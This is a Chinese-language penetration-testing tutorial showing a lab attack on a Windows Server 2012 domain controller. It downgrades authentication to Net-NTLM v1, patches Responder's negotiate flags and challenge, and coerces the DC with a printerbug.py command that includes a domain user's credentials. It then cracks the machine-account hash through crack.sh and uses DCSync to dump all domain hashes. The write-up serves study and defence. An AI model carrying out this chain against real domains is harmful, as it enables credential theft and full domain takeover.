利用LAN身份验证级别配置不当攻击域控
从Windows Server 2008开始,默认使用Net-NTLM v2协议,在身份验证级别配置不当的情况下,可以将其降级到Net-NTLM v1,破解的难度会大大降低。
在本地安全策略里可以对身份验证级别进行修改,修改为发送LM和NTLM响应
。

这时通过对NTLM协商步骤中Flag字段进行设置,就可以让客户端使用Net-NTLM v1来向我们认证。
环境如下:
攻击机:Kali 192.168.134.128
DC:Windows Server 2012 192.168.134.80
需要对Responder
进行修改,文件位于/usr/share/responder/packets.py
:

修改NTLMSSPNtNegotiateFlags
值为\x15\x82\x81\xe2
(原来的值为\x15\x82\x89\xe2
),这样可以在降级后还能与高版本服务器交互。
同时修改Responder.conf
,将challenge
设置为1122334455667788:

使用--lm
参数启动Responder监听,之后使用打印机漏洞或PetitPetom
让域控向我们发起认证请求,就可以拿到Net-NTLM v1 Hash.这里还需要一个普通域用户的用户名和密码。
以打印机漏洞为例,使用printerbug.py
:
python3 printerbug.py hack.org/user1:usersec!2021@192.168.134.80 192.168.134.128

成功接收到了NTLM v1 Hash,使用ntlmv1.py进行转换:

拿到crack.sh破解出NTML Hash,在线且免费,很快邮箱就能收到:

之后就可以利用DCSync导出域内所有用户hash,因为我们拿到的NTLM Hash为域控制器的计算机账户。
在实际环境中,其实很难遇到这种降级的情况,仅作研究学习吧。